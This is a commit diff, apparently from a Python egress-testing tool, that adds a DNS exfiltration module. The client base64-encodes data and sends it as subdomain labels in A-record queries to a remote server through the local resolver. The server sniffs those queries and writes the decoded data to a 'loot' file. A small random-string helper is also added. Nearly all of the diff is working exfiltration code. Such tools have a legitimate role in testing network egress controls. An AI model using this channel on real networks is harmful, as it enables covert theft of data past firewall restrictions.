commit
50dd6e5d39
|
@ -108,6 +108,17 @@ def randomNumbers(b):
|
|||
return str(random_number)
|
||||
|
||||
|
||||
def randomString(length=-1):
|
||||
"""
|
||||
Returns a random string of "length" characters.
|
||||
If no length is specified, resulting string is in between 6 and 15 characters.
|
||||
"""
|
||||
if length == -1:
|
||||
length = random.randrange(6, 16)
|
||||
random_string = ''.join(random.choice(string.ascii_letters) for x in range(length))
|
||||
return random_string
|
||||
|
||||
|
||||
def title_screen():
|
||||
os.system('clear')
|
||||
print "#" * 80
|
||||
|
|
|
@ -7,7 +7,6 @@ http://blog.cobaltstrike.com/2013/06/20/thatll-never-work-we-dont-allow-port-53-
|
|||
'''
|
||||
|
||||
import base64
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
from common import helpers
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
'''
|
||||
|
||||
This is a DNS client that transmits data within A record requests
|
||||
Thanks to Raffi for his awesome blog posts on how this can be done
|
||||
http://blog.cobaltstrike.com/2013/06/20/thatll-never-work-we-dont-allow-port-53-out/
|
||||
|
||||
'''
|
||||
|
||||
import base64
|
||||
import dns.resolver
|
||||
import socket
|
||||
import sys
|
||||
from common import helpers
|
||||
from scapy.all import *
|
||||
|
||||
|
||||
class Client:
|
||||
|
||||
def __init__(self, cli_object):
|
||||
self.protocol = "dns_resolved"
|
||||
self.length = 20
|
||||
self.remote_server = cli_object.ip
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
byte_reader = 0
|
||||
packet_number = 1
|
||||
|
||||
resolver_object = dns.resolver.get_default_resolver()
|
||||
nameserver = resolver_object.nameservers[0]
|
||||
|
||||
while (byte_reader < len(data_to_transmit) + self.length):
|
||||
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
encoded_data = encoded_data.replace("=", ".---")
|
||||
|
||||
# calcalate total packets
|
||||
if ((len(data_to_transmit) % self.length) == 0):
|
||||
total_packets = len(data_to_transmit) / self.length
|
||||
else:
|
||||
total_packets = (len(data_to_transmit) / self.length) + 1
|
||||
|
||||
print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(total_packets)
|
||||
|
||||
# Craft the packet with scapy
|
||||
try:
|
||||
request_packet = IP(dst=nameserver)/UDP()/DNS(
|
||||
rd=1, qd=[DNSQR(qname=encoded_data + "." + self.remote_server, qtype="A")])
|
||||
send(request_packet, iface='eth0', verbose=False)
|
||||
except socket.gaierror:
|
||||
pass
|
||||
except KeyboardInterrupt:
|
||||
print "[*] Shutting down..."
|
||||
sys.exit()
|
||||
|
||||
# Increment counters
|
||||
byte_reader += self.length
|
||||
packet_number += 1
|
||||
|
||||
return
|
|
@ -0,0 +1,67 @@
|
|||
'''
|
||||
|
||||
This is a DNS Listening/server module that listens for requests, and
|
||||
writes out data within A record requests to a file
|
||||
|
||||
'''
|
||||
|
||||
import base64
|
||||
import time
|
||||
from common import helpers
|
||||
from scapy.all import *
|
||||
|
||||
|
||||
class Server:
|
||||
|
||||
def __init__(self, cli_object):
|
||||
|
||||
self.protocol = "dns_resolved"
|
||||
self.last_packet = ''
|
||||
self.file_name = ''
|
||||
self.loot_path = ''
|
||||
|
||||
def customAction(self, packet):
|
||||
|
||||
if packet.haslayer(DNSQR):
|
||||
dnsqr_strings = repr(packet[DNSQR])
|
||||
try:
|
||||
incoming_data = dnsqr_strings.split('\'')[1].rstrip('.')
|
||||
number_equals = incoming_data.count('.--')
|
||||
if '.---' in incoming_data:
|
||||
encoded_data = incoming_data.split('.')[0] + "=" * number_equals
|
||||
else:
|
||||
encoded_data = incoming_data.split('.')[0]
|
||||
|
||||
try:
|
||||
encoded_data = base64.b64decode(encoded_data)
|
||||
except:
|
||||
pass
|
||||
|
||||
if encoded_data == self.last_packet:
|
||||
pass
|
||||
else:
|
||||
with open(self.loot_path + self.file_name, 'a') as dns_out:
|
||||
dns_out.write(encoded_data)
|
||||
self.last_packet = encoded_data
|
||||
|
||||
except TypeError:
|
||||
pass
|
||||
return
|
||||
|
||||
def serve(self):
|
||||
|
||||
self.loot_path = os.path.join(helpers.ea_path(), "data") + "/"
|
||||
# Check to make sure the agent directory exists, and a loot
|
||||
# directory for the agent. If not, make them
|
||||
if not os.path.isdir(self.loot_path):
|
||||
os.makedirs(self.loot_path)
|
||||
|
||||
# Get the date info
|
||||
current_date = time.strftime("%m/%d/%Y")
|
||||
current_time = time.strftime("%H:%M:%S")
|
||||
self.file_name = current_date.replace("/", "") +\
|
||||
"_" + current_time.replace(":", "") + "text_data.txt"
|
||||
|
||||
print "[*] DNS server started!"
|
||||
sniff(prn=self.customAction)
|
||||
return
|
Loading…
Reference in New Issue